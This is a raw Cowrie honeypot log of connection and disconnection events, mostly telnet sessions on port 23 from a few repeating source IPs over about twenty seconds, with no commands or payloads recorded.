{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54642,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c1f587ec0ca","protocol":"telnet","message":"New connection: 192.119.108.58:54642 (159.203.135.109:23) [session: 1c1f587ec0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:51.409669Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":40106,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef6cc22eee51","protocol":"telnet","message":"New connection: 162.241.141.97:40106 (159.203.135.109:23) [session: ef6cc22eee51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:51.495771Z"}
{"eventid":"cowrie.session.closed","duration":31.35609459877014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:51.512468Z","src_ip":"50.6.231.162","session":"3596ccf5f3a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":40202,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f1b479de283","protocol":"telnet","message":"New connection: 162.241.141.97:40202 (159.203.135.109:23) [session: 2f1b479de283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:51.550909Z"}
{"eventid":"cowrie.session.closed","duration":31.15188193321228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:51.771732Z","src_ip":"192.119.108.58","session":"9ef0dc3b2230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.026385Z","src_ip":"191.255.52.36","session":"03cfb043b66e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":41582,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcaa66969e3d","protocol":"telnet","message":"New connection: 162.241.141.97:41582 (159.203.135.109:23) [session: dcaa66969e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.263040Z"}
{"eventid":"cowrie.session.closed","duration":31.302470684051514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.311052Z","src_ip":"162.241.141.97","session":"05bf8b93e29b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570843935012817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.432738Z","src_ip":"162.241.141.97","session":"c72da6fffd1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5704083442688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.669948Z","src_ip":"162.241.141.97","session":"bd1852d6158c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.665217876434326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.736783Z","src_ip":"50.6.231.162","session":"cd5fed21a67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55736,"dst_ip":"159.203.135.109","dst_port":23,"session":"8025dee6ee7c","protocol":"telnet","message":"New connection: 192.119.108.58:55736 (159.203.135.109:23) [session: 8025dee6ee7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.880888Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55836,"dst_ip":"159.203.135.109","dst_port":23,"session":"093d34228c8c","protocol":"telnet","message":"New connection: 192.119.108.58:55836 (159.203.135.109:23) [session: 093d34228c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:52.976956Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43528,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f16489c2414","protocol":"telnet","message":"New connection: 162.241.141.97:43528 (159.203.135.109:23) [session: 3f16489c2414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:53.102196Z"}
{"eventid":"cowrie.session.closed","duration":30.581417083740234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:53.208273Z","src_ip":"192.119.108.58","session":"f44fe465e9ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56118,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ba1b1e413e","protocol":"telnet","message":"New connection: 192.119.108.58:56118 (159.203.135.109:23) [session: b9ba1b1e413e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:54.432738Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56126,"dst_ip":"159.203.135.109","dst_port":23,"session":"57a74142a0be","protocol":"telnet","message":"New connection: 192.119.108.58:56126 (159.203.135.109:23) [session: 57a74142a0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:54.455794Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57320,"dst_ip":"159.203.135.109","dst_port":23,"session":"b256cdf433fb","protocol":"telnet","message":"New connection: 192.119.108.58:57320 (159.203.135.109:23) [session: b256cdf433fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:55.112528Z"}
{"eventid":"cowrie.session.closed","duration":30.79948878288269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:55.633915Z","src_ip":"192.119.108.58","session":"b6ea0f249503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57918,"dst_ip":"159.203.135.109","dst_port":23,"session":"d049e2fc0279","protocol":"telnet","message":"New connection: 192.119.108.58:57918 (159.203.135.109:23) [session: d049e2fc0279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:55.953672Z"}
{"eventid":"cowrie.session.closed","duration":30.718086004257202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:56.508818Z","src_ip":"50.6.231.162","session":"f41d9730cbb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58602,"dst_ip":"159.203.135.109","dst_port":23,"session":"7132a3242814","protocol":"telnet","message":"New connection: 192.119.108.58:58602 (159.203.135.109:23) [session: 7132a3242814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.088615Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeadb986a5fb","protocol":"telnet","message":"New connection: 192.119.108.58:58606 (159.203.135.109:23) [session: eeadb986a5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.098162Z"}
{"eventid":"cowrie.session.closed","duration":30.76968741416931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.155041Z","src_ip":"162.241.141.97","session":"d683f7476057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38510537147522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.165922Z","src_ip":"162.241.141.97","session":"288e2845e642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.652499198913574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.265515Z","src_ip":"50.6.231.162","session":"02af05de6272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea318f240875","protocol":"telnet","message":"New connection: 192.119.108.58:56800 (159.203.135.109:23) [session: ea318f240875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.399514Z"}
{"eventid":"cowrie.session.closed","duration":31.355672597885132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.709944Z","src_ip":"50.6.231.162","session":"44cef2bcae77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57064,"dst_ip":"159.203.135.109","dst_port":23,"session":"09b1bd9c406b","protocol":"telnet","message":"New connection: 192.119.108.58:57064 (159.203.135.109:23) [session: 09b1bd9c406b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.720247Z"}
{"eventid":"cowrie.session.closed","duration":30.782060623168945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:57.736442Z","src_ip":"162.241.141.97","session":"c6507059b9ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":49830,"dst_ip":"159.203.135.109","dst_port":23,"session":"50192e2f0945","protocol":"telnet","message":"New connection: 162.241.141.97:49830 (159.203.135.109:23) [session: 50192e2f0945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:58.783317Z"}
{"eventid":"cowrie.session.closed","duration":31.043957948684692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:59.042693Z","src_ip":"50.6.231.162","session":"afef2407dde0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023481130599976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:59.097467Z","src_ip":"192.119.108.58","session":"5c695f3d9995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852038383483887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:59.177942Z","src_ip":"192.119.108.58","session":"bfb31566a74a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119969129562378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:59.269897Z","src_ip":"192.119.108.58","session":"57e459d9e829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950807332992554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:59.327202Z","src_ip":"192.119.108.58","session":"b3e64d49af73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51066,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc869cc179a1","protocol":"telnet","message":"New connection: 162.241.141.97:51066 (159.203.135.109:23) [session: bc869cc179a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:59.387930Z"}
{"eventid":"cowrie.session.closed","duration":31.231481313705444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:00.426742Z","src_ip":"50.6.231.162","session":"419e3b3b0319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42343235015869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:01.029221Z","src_ip":"50.6.231.162","session":"7da8aa963597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.504493713378906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:01.086846Z","src_ip":"192.119.108.58","session":"8626627e548f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":48480,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab5211333a60","protocol":"telnet","message":"New connection: 162.241.141.97:48480 (159.203.135.109:23) [session: ab5211333a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:01.100249Z"}
{"eventid":"cowrie.session.closed","duration":30.455156564712524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:01.364570Z","src_ip":"192.119.108.58","session":"b0de529811a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340932846069336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:01.569274Z","src_ip":"192.119.108.58","session":"5d54feed8a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.774510145187378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:01.793180Z","src_ip":"192.119.108.58","session":"909f43ad6806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74960732460022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:02.144344Z","src_ip":"50.6.231.162","session":"006ff17bcb33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94210910797119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:02.206523Z","src_ip":"192.119.108.58","session":"2d936af1fcaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6163387298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:02.291419Z","src_ip":"162.241.141.97","session":"324f869e32bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60490,"dst_ip":"159.203.135.109","dst_port":23,"session":"15cc041665e0","protocol":"telnet","message":"New connection: 192.119.108.58:60490 (159.203.135.109:23) [session: 15cc041665e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:02.958744Z"}
{"eventid":"cowrie.session.closed","duration":31.036027431488037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:03.166040Z","src_ip":"162.241.141.97","session":"5b6860bec2a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33838,"dst_ip":"159.203.135.109","dst_port":23,"session":"eefc6551dcb7","protocol":"telnet","message":"New connection: 192.119.108.58:33838 (159.203.135.109:23) [session: eefc6551dcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:03.510554Z"}
{"eventid":"cowrie.session.closed","duration":30.721282482147217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:03.532250Z","src_ip":"162.241.141.97","session":"2e9572a19223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39138674736023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:03.841736Z","src_ip":"162.241.141.97","session":"dcd682b2f61e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647132396697998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:04.067834Z","src_ip":"50.6.231.162","session":"7b99b15e699f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763657569885254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:04.106056Z","src_ip":"162.241.141.97","session":"cfd9b16974a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":54870,"dst_ip":"159.203.135.109","dst_port":23,"session":"42878e48655e","protocol":"telnet","message":"New connection: 162.241.141.97:54870 (159.203.135.109:23) [session: 42878e48655e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:04.189749Z"}
{"eventid":"cowrie.session.closed","duration":31.178266525268555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:04.226773Z","src_ip":"162.241.141.97","session":"3f99add63d6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":55732,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8ae2491bdc1","protocol":"telnet","message":"New connection: 162.241.141.97:55732 (159.203.135.109:23) [session: f8ae2491bdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:04.607385Z"}
{"eventid":"cowrie.session.closed","duration":30.796318531036377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:04.710384Z","src_ip":"192.119.108.58","session":"cf3e0d0c0090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":56214,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9acb3fd2252","protocol":"telnet","message":"New connection: 162.241.141.97:56214 (159.203.135.109:23) [session: f9acb3fd2252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:04.908743Z"}
{"eventid":"cowrie.session.closed","duration":30.3267023563385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:05.288669Z","src_ip":"192.119.108.58","session":"25d5131848ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":57548,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01d20f91fd3","protocol":"telnet","message":"New connection: 162.241.141.97:57548 (159.203.135.109:23) [session: f01d20f91fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:05.583174Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33892,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8b9886febf","protocol":"telnet","message":"New connection: 192.119.108.58:33892 (159.203.135.109:23) [session: da8b9886febf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:05.610539Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":57762,"dst_ip":"159.203.135.109","dst_port":23,"session":"7734d4d9f437","protocol":"telnet","message":"New connection: 162.241.141.97:57762 (159.203.135.109:23) [session: 7734d4d9f437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:05.651476Z"}
{"eventid":"cowrie.session.closed","duration":31.389116287231445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:05.692397Z","src_ip":"192.119.108.58","session":"f484d835a344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":58570,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff8adc298d95","protocol":"telnet","message":"New connection: 162.241.141.97:58570 (159.203.135.109:23) [session: ff8adc298d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:06.074723Z"}
{"eventid":"cowrie.session.closed","duration":30.924551486968994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:06.349190Z","src_ip":"192.119.108.58","session":"fb09e6b7a83b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59442,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea2bc8b104cb","protocol":"telnet","message":"New connection: 162.241.141.97:59442 (159.203.135.109:23) [session: ea2bc8b104cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:06.482591Z"}
{"eventid":"cowrie.session.closed","duration":31.083375692367554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:07.448983Z","src_ip":"50.6.231.162","session":"56ccf23b5f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37212,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b2dbd97d766","protocol":"telnet","message":"New connection: 192.119.108.58:37212 (159.203.135.109:23) [session: 1b2dbd97d766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:07.610771Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36590,"dst_ip":"159.203.135.109","dst_port":23,"session":"66dc79f49d5f","protocol":"telnet","message":"New connection: 192.119.108.58:36590 (159.203.135.109:23) [session: 66dc79f49d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:07.659846Z"}
{"eventid":"cowrie.session.closed","duration":30.13382625579834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:08.009279Z","src_ip":"162.241.141.97","session":"8df0448f8f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528766632080078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:08.237746Z","src_ip":"192.119.108.58","session":"07f0f0426781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37156,"dst_ip":"159.203.135.109","dst_port":23,"session":"c934172264c8","protocol":"telnet","message":"New connection: 192.119.108.58:37156 (159.203.135.109:23) [session: c934172264c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:08.546672Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37854,"dst_ip":"159.203.135.109","dst_port":23,"session":"0632ea5d26ee","protocol":"telnet","message":"New connection: 192.119.108.58:37854 (159.203.135.109:23) [session: 0632ea5d26ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:08.566435Z"}
{"eventid":"cowrie.session.closed","duration":31.355741262435913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.006190Z","src_ip":"192.119.108.58","session":"00d13fe46b8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36140,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ebf51a0156d","protocol":"telnet","message":"New connection: 192.119.108.58:36140 (159.203.135.109:23) [session: 5ebf51a0156d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.054704Z"}
{"eventid":"cowrie.session.closed","duration":30.70916485786438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.151030Z","src_ip":"162.241.141.97","session":"1dd75aa8ec88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18520450592041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.156701Z","src_ip":"162.241.141.97","session":"20951dd5a56d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183913946151733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.188419Z","src_ip":"192.119.108.58","session":"f1c0a603da7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084487199783325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.371276Z","src_ip":"162.241.141.97","session":"3e4820232b6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27113103866577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.586376Z","src_ip":"162.241.141.97","session":"3f0cdbd0cab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289745807647705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:09.959938Z","src_ip":"192.119.108.58","session":"0cde39cb27e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408146381378174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.030369Z","src_ip":"192.119.108.58","session":"705d43a7122c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052767992019653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.145461Z","src_ip":"162.241.141.97","session":"405977295760","protocol":"telnet"}
